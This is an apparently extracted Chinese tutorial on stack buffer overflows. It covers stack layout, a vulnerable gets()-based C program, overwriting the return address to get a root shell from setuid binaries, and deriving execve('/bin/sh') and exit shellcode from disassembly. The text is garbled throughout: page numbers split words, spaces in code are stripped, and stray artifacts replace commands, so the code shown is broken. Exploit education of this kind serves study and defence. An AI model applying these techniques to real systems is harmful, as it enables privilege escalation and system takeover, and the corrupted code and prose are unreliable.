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1、堆栈溢出技术从入门到精通虽然溢出在程序开发过程中不可完全避免，但溢出对系统的威胁是巨大的，由于系统的特殊性，溢出发生时攻击者可以利用其漏洞来获取系统的高级权限root，因此本文将详细介绍堆栈溢出技术在您开始了解堆栈溢出前，首先你应该了解win32汇编语言，熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面的基础知识，有关这方面的计算机书籍很多，我将只是简单阐述原理，着重在应用。其次，你应该了解linux，本讲中我们的例子将在linux上开发。1、首先复习一下基础知识。从物理上讲，堆栈是就是一段连续分配的内存空间。在一个程序中，会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被加
2、载。而程序的动态的局部变量则分配在堆栈里面。从操作上来讲，堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我们规定内存的生长方向为向上，则栈的生长方向为向下。压栈的操作push=ESP-4，出栈的操作是pop=ESP+4.换句话说，堆栈中老的值，其内存地址，反而比新的值要大。请牢牢记住这一点，因为这是堆栈溢出的基本理论依据。在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，接下来，就在堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被丢失。但是不被清除。在函数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回地址到EIP
3、以继续执行程序。在C语言程序中，参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候，是：先压c，再压b,最后a。在取参数的时候，由于栈的先入后出，先取栈顶的a，再取b,最后取c。这些是汇编语言的基础知识，用户在开始前必须要了解这些知识。2、现在我们来看一看什么是堆栈溢出。运行时的堆栈分配堆栈溢出就是不顾堆栈中数据块大小，向该数据块写入了过多的数据，导致数据越界，结果覆盖了老的堆栈数据。例如程序一： #includeintmain()charname8;printf(Pleasetypeyourname:);gets(name);printf(Hello,%s!,name);r
4、eturn0;编译并且执行，我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中，堆栈是怎么操作的呢?在main函数开始运行的时候，堆栈里面将被依次放入返回地址，EBP。我们用gcc -S 来获得汇编语言输出，可以看到main函数的开头部分对应如下语句： pushl%ebpmovl%esp,%ebpsubl$8,%esp首先他把EBP保存下来，然后EBP等于现在的ESP，这样EBP就可以用来访问本函数的局部变量。之后ESP减8，就是堆栈向上增长8个字节，用来存放name数组。最后，main返回，弹出ret里的地址，赋值给EIP，CPU继续执行EIP所指向的指令。堆栈溢出现在我们
5、再执行一次，输入ipxodiAAAAAAAAAAAAAAA,执行完gets(name)之后，由于我们输入的name字符串太长，name数组容纳不下，只好向内存顶部继续写A。由于堆栈的生长方向与内存的生长方向相反，这些A覆盖了堆栈的老的元素。 我们可以发现，EBP，ret都已经被A覆盖了。在main返回的时候，就会把AAAA的ASCII码：0x41414141作为返回地址，CPU会试图执行0x41414141处的指令，结果出现错误。这就是一次堆栈溢出。3、如何利用堆栈溢出我们已经制造了一次堆栈溢出。其原理可以概括为：由于字符串处理函数(gets，strcpy等等)没有对数组越界加以监视和限制，我
6、们利用字符数组写越界，覆盖堆栈中的老元素的值，就可以修改返回地址。在上面的例子中，这导致CPU去访问一个不存在的指令，结果出错。事实上，当堆栈溢出的时候，我们已经完全的控制了这个程序下一步的动作。如果我们用一个实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令。在UINX/linux系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢出的程序相同的权限。如果这个程序是setuid的，那么我们就可以获得root shell。下一讲将叙述如何书写一个shell code。如何书写一个shell code一：shellcode基本算法分析在程序中，执行一个she
7、ll的程序是这样写的： shellcode.c-#includevoidmain()char*name2;name0=/bin/shname1=NULL;execve(name0,name,NULL);-execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argvi(argvn-1=0)的指针数组作为第二个参数，以及(char*) 0作为第三个参数。我们来看以看execve的汇编代码： nkl10$Content$nbsp;gcc-oshellcode-kl10$Content$nbsp;gdbshellcode(gdb)disassemble_execveD
8、umpofassemblercodeforfunction_execve:0x80002bc:pushl%ebp;0x80002bd:movl%esp,%ebp;上面是函数头。0x80002bf:pushl%ebx;保存ebx0x80002c0:movl$0xb,%eax;eax=0xb，eax指明第几号系统调用。0x80002c5:movl0x8(%ebp),%ebx;ebp+8是第一个参数/bin/sh00x80002c8:movl0xc(%ebp),%ecx;ebp+12是第二个参数name数组的地址0x80002cb:movl0x10(%ebp),%edx;ebp+16是第三个参数空指
9、针的地址。;name2-1内容为NULL，用来存放返回值。0x80002ce:int$0x80;执行0xb号系统调用(execve)0x80002d0:movl%eax,%edx;下面是返回值的处理就没有用了。0x80002d2:testl%edx,%edx0x80002d4:jnl0x80002e60x80002d6:negl%edx0x80002d8:pushl%edx0x80002d9:call0x8001a340x80002de:popl%edx0x80002df:movl%edx,(%eax)0x80002e1:movl$0xffffffff,%eax0x80002e6:popl%e
10、bx0x80002e7:movl%ebp,%esp0x80002e9:popl%ebp0x80002ea:ret0x80002eb:nopEndofassemblerdump.经过以上的分析，可以得到如下的精简指令算法：movl$execve的系统调用号,%eaxmovlbin/sh0的地址,%ebxmovlname数组的地址,%ecxmovlnamen-1的地址,%edxint$0x80;执行系统调用(execve)当execve执行成功后，程序shellcode就会退出，/bin/sh将作为子进程继续执行。可是，如果我们的execve执行失败，(比如没有/bin/sh这个文件)，CPU就会
11、继续执行后续的指令，结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用，结束shellcode.c的执行。我们来看以看exit(0)的汇编代码： (gdb)disassemble_exitDumpofassemblercodeforfunction_exit:0x800034c:pushl%ebp0x800034d:movl%esp,%ebp0x800034f:pushl%ebx0x8000350:movl$0x1,%eax;1号系统调用0x8000355:movl0x8(%ebp),%ebx;ebx为参数00x8000358:int$0x80;引发系统调用0x800035a:mo
12、vl0xfffffffc(%ebp),%ebx0x800035d:movl%ebp,%esp0x800035f:popl%ebp0x8000360:ret0x8000361:nop0x8000362:nop0x8000363:nopEndofassemblerdump.看来exit(0)的汇编代码更加简单： movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;引发系统调用那么总结一下，合成的汇编代码为：movl$execve的系统调用号,%eaxmovlbin/sh0的地址,%ebxmovlname数组的地址,%ecxmovlnamen-1的地址,%edxint$0x80;执行系统调用(execve)movl$0x1,%eax;1号系统调用movl0,%ebx;ebx为exit的参数0int$0x80;执行系统调用(exit)